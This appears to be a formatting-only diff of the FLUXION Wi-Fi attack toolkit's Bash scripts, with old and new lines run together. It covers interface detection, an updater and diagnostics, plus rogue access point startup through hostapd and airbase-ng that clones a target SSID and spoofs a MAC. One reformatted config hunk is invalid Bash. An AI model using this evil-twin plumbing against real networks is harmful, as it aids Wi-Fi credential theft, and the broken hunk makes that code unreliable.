# Checks if the interface belongs to a physical device. # Checks if the interface belongs to a physical device.
function interface_is_real() { function interface_is_real() {
if [ -d /sys/class/net/$1/device ] if [ -d /sys/class/net/$1/device ]; then return 0
then return 0
else return 1 else return 1
fi fi
} }
# Checks if the interface belongs to a wireless device. # Checks if the interface belongs to a wireless device.
function interface_is_wireless() { function interface_is_wireless() {
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
then return 0
else return 1 else return 1
fi fi
} }
@ -44,8 +42,7 @@ function interface_list_real() {
interface_list_all interface_list_all
local __interface_list_real__candidate local __interface_list_real__candidate
for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do
if interface_is_real $__interface_list_real__candidate if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate")
then InterfaceListReal+=("$__interface_list_real__candidate")
fi fi
done done
} }
@ -56,8 +53,7 @@ function interface_list_wireless() {
interface_list_all interface_list_all
local __interface_list_wireless__candidate local __interface_list_wireless__candidate
for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do
if interface_is_wireless $__interface_list_wireless__candidate if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate")
then InterfaceListWireless+=("$__interface_list_wireless__candidate")
fi fi
done done
} }
@ -74,11 +70,9 @@ function interface_physical() {
local -r interface_physical_path="/sys/class/net/$1/phy80211" local -r interface_physical_path="/sys/class/net/$1/phy80211"
if [ -d "$interface_physical_path" ]; then if [ -d "$interface_physical_path" ]; then
if [ -r "$interface_physical_path/name" ] if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")"
then InterfacePhysical="`cat "$interface_physical_path/name"`"
fi fi
if [ ! "${InterfacePhysical// }" ] if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')"
then InterfacePhysical="`ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`"
fi fi
fi fi
@ -91,16 +85,19 @@ function interface_hardware() {
local __interface_hardware__device="/sys/class/net/$1/device" local __interface_hardware__device="/sys/class/net/$1/device"
local __interface_hardware__hwinfo="$__interface_hardware__device/modalias" local __interface_hardware__hwinfo="$__interface_hardware__device/modalias"
InterfaceHardwareBus="`cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2> $InterfaceUtilsOutputDevice`" InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)"
case "$InterfaceHardwareBus" in case "$InterfaceHardwareBus" in
"usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk). "usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk).
InterfaceHardwareID="`cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/'`";; InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')"
;;
"pci" | "pcmcia" | "sdio") "pci" | "pcmcia" | "sdio")
InterfaceHardwareID="`cat "$__interface_hardware__device/vendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/device" 2> $InterfaceUtilsOutputDevice`";; InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)"
;;
default) # The following will only work for USB devices. default) # The following will only work for USB devices.
InterfaceHardwareID="`cat "$__interface_hardware__device/idVendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/idProduct" 2> $InterfaceUtilsOutputDevice`" InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)"
InterfaceHardwareBus="usb";; # This will be reset below if InterfaceHardwareID is invalid. InterfaceHardwareBus="usb"
;; # This will be reset below if InterfaceHardwareID is invalid.
esac esac
# Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it. # Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it.
@ -122,17 +119,20 @@ function interface_chipset() {
case "$InterfaceHardwareBus" in case "$InterfaceHardwareBus" in
"usb") "usb")
if [ ! "$InterfaceUSBBus" ]; then return 3; fi if [ ! "$InterfaceUSBBus" ]; then return 3; fi
InterfaceChipset="`lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //'`";; InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
;;
"pci" | "pcmcia") "pci" | "pcmcia")
if [ ! "$InterfacePCIBus" ]; then return 4; fi if [ ! "$InterfacePCIBus" ]; then return 4; fi
InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')";; InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
;;
"sdio") "sdio")
if [[ "${InterfaceHardwareID,,}" = "0x02d0"* ]] if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7})
then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7})
else InterfaceChipset="Unknown chipset for SDIO device." else InterfaceChipset="Unknown chipset for SDIO device."
fi;; fi
;;
default) default)
InterfaceChipset="Unknown device chipset & device bus." InterfaceChipset="Unknown device chipset & device bus."
;;
esac esac
} }
@ -171,9 +171,12 @@ function interface_prompt() {
interface_state "$__interface_prompt__ifCandidate" interface_state "$__interface_prompt__ifCandidate"
if [ "$InterfaceState" = "up" ] if [ "$InterfaceState" = "up" ]; then
then __interface_prompt__ifAvailableColor+=("$CPrp"); __interface_prompt__ifAvailableState+=("[-]") __interface_prompt__ifAvailableColor+=("$CPrp")
else __interface_prompt__ifAvailableColor+=("$CClr"); __interface_prompt__ifAvailableState+=("[+]") __interface_prompt__ifAvailableState+=("[-]")
else
__interface_prompt__ifAvailableColor+=("$CClr")
__interface_prompt__ifAvailableState+=("[+]")
fi fi
done done

View File

@ -13,14 +13,11 @@ VIAPAddress="$VIGWNetwork.2"
# APServiceConfigDirectory=$FLUXIONWorkspacePath # APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================ # ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi #if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0" #readonly APServiceVersion="1.0"
function ap_stop() { function ap_stop() {
if [ "$APServicePID" ] if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
then kill $APServicePID &> $FLUXIONOutputDevice
fi fi
APServicePID="" APServicePID=""
@ -49,8 +46,9 @@ function ap_start() {
local parentPID=$! local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface. # Wait till airebase-ng has started and created the extra virtual interface.
while [ ! "$APServicePID" ] while [ ! "$APServicePID" ]; do
do sleep 1; APServicePID=$(pgrep -P $parentPID) sleep 1
APServicePID=$(pgrep -P $parentPID)
done done
ap_route ap_route

View File

@ -13,14 +13,11 @@ VIAPAddress=$VIGWAddress
APServiceConfigDirectory=$FLUXIONWorkspacePath APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================ # ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi #if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0" #readonly APServiceVersion="1.0"
function ap_stop() { function ap_stop() {
if [ "$APServicePID" ] if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
then kill $APServicePID &> $FLUXIONOutputDevice
fi fi
APServicePID="" APServicePID=""
@ -52,8 +49,7 @@ function ap_prep() {
interface=$VIAP interface=$VIAP
driver=nl80211 driver=nl80211
ssid=$APTargetSSID ssid=$APTargetSSID
channel=$APTargetChannel\ channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
" > "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
# Spoof virtual interface MAC address. # Spoof virtual interface MAC address.
ifconfig $VIAP down ifconfig $VIAP down
@ -73,8 +69,9 @@ function ap_start() {
local parentPID=$! local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready. # Wait till hostapd has started and its virtual interface is ready.
while [ ! "$APServicePID" ] while [ ! "$APServicePID" ]; do
do sleep 1; APServicePID=$(pgrep -P $parentPID) sleep 1
APServicePID=$(pgrep -P $parentPID)
done done
ap_route ap_route

View File

@ -17,7 +17,7 @@ function installer_utils_run_spinner() {
local spinstr="|/-\\" local spinstr="|/-\\"
tput civis tput civis
while [ "`ps a | awk '{print $1}' | grep $pid`" ]; do while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?} local temp=${spinstr#?}
printf " [%c] " "$spinstr" printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"} local spinstr=$temp${spinstr%"$temp"}
@ -37,17 +37,15 @@ function installer_utils_check_version() {
if [ ${#@} -ne 3 ]; then return 1; fi if [ ${#@} -ne 3 ]; then return 1; fi
# Attempt to retrieve versioning information from repository script. # Attempt to retrieve versioning information from repository script.
local -r __installer_utils_check_version__info=("`timeout -s SIGTERM 20 curl "$1" 2> /dev/null`") local -r __installer_utils_check_version__info=("$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null)")
local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+") local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+")
local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+") local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+")
if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ] if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ]; then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" >"$InstallerUtilsWorkspacePath/latest_version"
then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" > "$InstallerUtilsWorkspacePath/latest_version"
fi fi
} }
# Pamaters: # Pamaters:
# $1 source - Online Info File (text) # $1 source - Online Info File (text)
# $2 version regex - Online version (regex) # $2 version regex - Online version (regex)
@ -112,52 +110,55 @@ function installer_utils_run_update() {
# If the user doesn't want to upgrade, stop this procedure. # If the user doesn't want to upgrade, stop this procedure.
if [ "$__installer_utils_run_update__option" != "Y" -a \ if [ "$__installer_utils_run_update__option" != "Y" -a \
"$__installer_utils_run_update__option" != "y" ] "$__installer_utils_run_update__option" != "y" ]; then return 1
then return 1
fi fi
local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-`date +%F_%T`" local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)"
local __installer_utils_run_update__backupPath="`dirname $__installer_utils_run_update__output`/$__installer_utils_run_update__backupFile.7z" local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z"
# If a file with the backup name already exists, abort. # If a file with the backup name already exists, abort.
if [ -f "$__installer_utils_run_update__backupPath" ] if [ -f "$__installer_utils_run_update__backupPath" ]; then return 2
then return 2
fi fi
format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"
echo
# This could use a progress indicator, but I'm a bit tired. # This could use a progress indicator, but I'm a bit tired.
7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &>$InstallerUtilsOutputDevice 7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &>$InstallerUtilsOutputDevice
format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"
format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"; echo echo
if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then
format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr" format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr"
sleep 3 sleep 3
return 3 return 3
fi fi
format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"
echo
if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then
format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr" format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr"
sleep 3 sleep 3
return 4 return 4
fi fi
format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"
echo
mkdir "$InstallerUtilsWorkspacePath/update_contents" mkdir "$InstallerUtilsWorkspacePath/update_contents"
unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents" unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents"
if [ ! -d "$__installer_utils_run_update__output" ]; then if [ ! -d "$__installer_utils_run_update__output" ]; then
if ! mkdir -p "$__installer_utils_run_update__output"; then if ! mkdir -p "$__installer_utils_run_update__output"; then
format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"; echo format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"
echo
fi fi
fi fi
format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"
echo
mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output" mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output"
format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"; echo format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"
echo
sleep 3 sleep 3
} }
@ -171,7 +172,7 @@ function installer_utils_check_dependencies() {
local __installer_utils_run_dependencies__CLIToolInfo local __installer_utils_run_dependencies__CLIToolInfo
for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do
local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/} local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/}
local __installer_utils_run_dependencies__identifier="`printf "%-44s" "$__installer_utils_run_dependencies__CLITool"`" local __installer_utils_run_dependencies__identifier="$(printf "%-44s" "$__installer_utils_run_dependencies__CLITool")"
local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr" local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr"
if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then
@ -202,7 +203,8 @@ function installer_utils_run_dependencies() {
done done
if [ ! "$PackageManagerCLT" ]; then if [ ! "$PackageManagerCLT" ]; then
format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"; echo format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"
echo
sleep 3 sleep 3
return 2 return 2
fi fi
@ -214,8 +216,7 @@ function installer_utils_run_dependencies() {
local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/} local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/}
for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do
clear clear
if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then break
then break
fi fi
done done
done done

View File

@ -10,21 +10,23 @@ if [ -f "/etc/debian_version" ]; then
PackageManagerLog="/tmp/lib_package_manager.log" PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() { function unprep_package_manager() {
echo "`cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION'`" > /etc/apt/sources.list echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list
} }
function prep_package_manager() { function prep_package_manager() {
if [ ! "`cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*'`" ]; then if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then
echo "Adding missing sources to package manager, please wait." echo "Adding missing sources to package manager, please wait."
echo "Adding keys.gnupg.net key, please wait." echo "Adding keys.gnupg.net key, please wait."
if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then
echo "ERROR: Failed to fetch or add the source key!"; return 1 echo "ERROR: Failed to fetch or add the source key!"
return 1
fi fi
echo "Adding pgp.mit.edu key, please wait." echo "Adding pgp.mit.edu key, please wait."
if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then
echo "ERROR: Failed to fetch or add the source key!"; return 1 echo "ERROR: Failed to fetch or add the source key!"
return 1
fi fi
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list

View File

@ -4,9 +4,9 @@ if [ -f "/etc/arch-release" ]; then
#Last entry is the default package manager to use (pacman) #Last entry is the default package manager to use (pacman)
AurHelpers="pacaur yaourt pacman" AurHelpers="pacaur yaourt pacman"
for AurHelper in $AurHelpers; do for AurHelper in $AurHelpers; do
if [ "`pacman -Qs $AurHelper`" ]; then if [ "$(pacman -Qs $AurHelper)" ]; then
PackageManagerCLT=$AurHelper PackageManagerCLT=$AurHelper
break; break
fi fi
done done
PackageManagerCLT='pacman' PackageManagerCLT='pacman'

View File

@ -1,6 +1,4 @@
#!/ bin / bash #!/ bin / bash
export FLUXIONDebug=1 export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
export FLUXIONWIKillProcesses=1 1 export FLUXIONWIReloadDriver = 1
export FLUXIONWIReloadDriver=1

View File

@ -1,16 +1,15 @@
#!/bin/bash #!/bin/bash
if [ -d "lib" ] if [ -d "lib" ]; then source lib/InterfaceUtils.sh
then source lib/InterfaceUtils.sh elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
elif [ -d "../lib" ]
then source ../lib/InterfaceUtils.sh
else else
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"; exit 1 echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
exit 1
fi fi
if [ ! "$1" ]; then
if [ ! "$1" ] echo "Usage ./scripts/diagnostics <wireless_interface>"
then echo "Usage ./scripts/diagnostics <wireless_interface>"; exit 1 exit 1
fi fi
echo "[ FLUXION Info ]" echo "[ FLUXION Info ]"
@ -20,22 +19,19 @@ echo -ne "\n\n"
echo "[ BASH Info ]" echo "[ BASH Info ]"
bash --version bash --version
echo "Path: `ls -L $(which bash)`" echo "Path: $(ls -L $(which bash))"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ Interface ($1) Info ]" echo "[ Interface ($1) Info ]"
if interface_physical "$1" if interface_physical "$1"; then echo "Device: $InterfacePhysical"
then echo "Device: $InterfacePhysical"
else echo "Device: Unknown" else echo "Device: Unknown"
fi fi
if interface_driver "$1" if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
then echo "Driver: $InterfaceDriver"
else echo "Driver: Unsupported" else echo "Driver: Unsupported"
fi fi
if interface_chipset "$1" if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
then echo "Chipset: $InterfaceChipset"
else echo "Chipset: Unknown" else echo "Chipset: Unknown"
fi fi
@ -44,18 +40,17 @@ aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo
echo -ne "\n\n" echo -ne "\n\n"
echo "[ XTerm Info ]" echo "[ XTerm Info ]"
echo "Version: `xterm -version`" echo "Version: $(xterm -version)"
echo "Path: `ls -L $(which xterm)`" echo "Path: $(ls -L $(which xterm))"
echo -n "Test: " echo -n "Test: "
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &> /dev/null if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
then echo "XServer/XTerm success!"
else echo "XServer/XTerm failure!" else echo "XServer/XTerm failure!"
fi fi
echo -ne "\n\n" echo -ne "\n\n"
echo "[ HostAPD Info ]" echo "[ HostAPD Info ]"
hostapd -v hostapd -v
echo "Path: `ls -L $(which hostapd)`" echo "Path: $(ls -L $(which hostapd))"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ Aircrack-ng Info ]" echo "[ Aircrack-ng Info ]"
@ -63,7 +58,6 @@ aircrack-ng -H | head -n 4
echo -ne "\n\n" echo -ne "\n\n"
echo "[ System Info ]" echo "[ System Info ]"
if [ -r "/proc/version" ] if [ -r "/proc/version" ]; then cat /proc/version
then cat /proc/version
else uname -r else uname -r
fi fi

View File

@ -2,7 +2,7 @@
##################################### < CONFIGURATION > ##################################### ##################################### < CONFIGURATION > #####################################
gateway=`ip route | grep default | awk '{print $3}'` gateway=$(ip route | grep default | awk '{print $3}')
#Colors #Colors
white="\033[1;37m" white="\033[1;37m"